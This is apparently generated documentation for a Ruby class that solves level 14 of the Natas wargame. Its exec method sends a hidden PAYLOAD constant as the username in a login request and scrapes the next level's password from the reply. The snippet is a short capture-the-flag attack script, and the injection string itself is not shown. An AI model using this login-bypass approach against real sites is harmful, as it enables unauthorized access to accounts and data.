class NatasLevel14

Level 14

Constants

LEVEL
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 453
def exec
  data = post(
    PAGE,
    {},
    {
      'username' => PAYLOAD,
      'password' => ''
    }
  ).body
  match = /The password for natas15 is (\w{32})<br>/.match(data)
  not_found unless match
  found(match[1])
end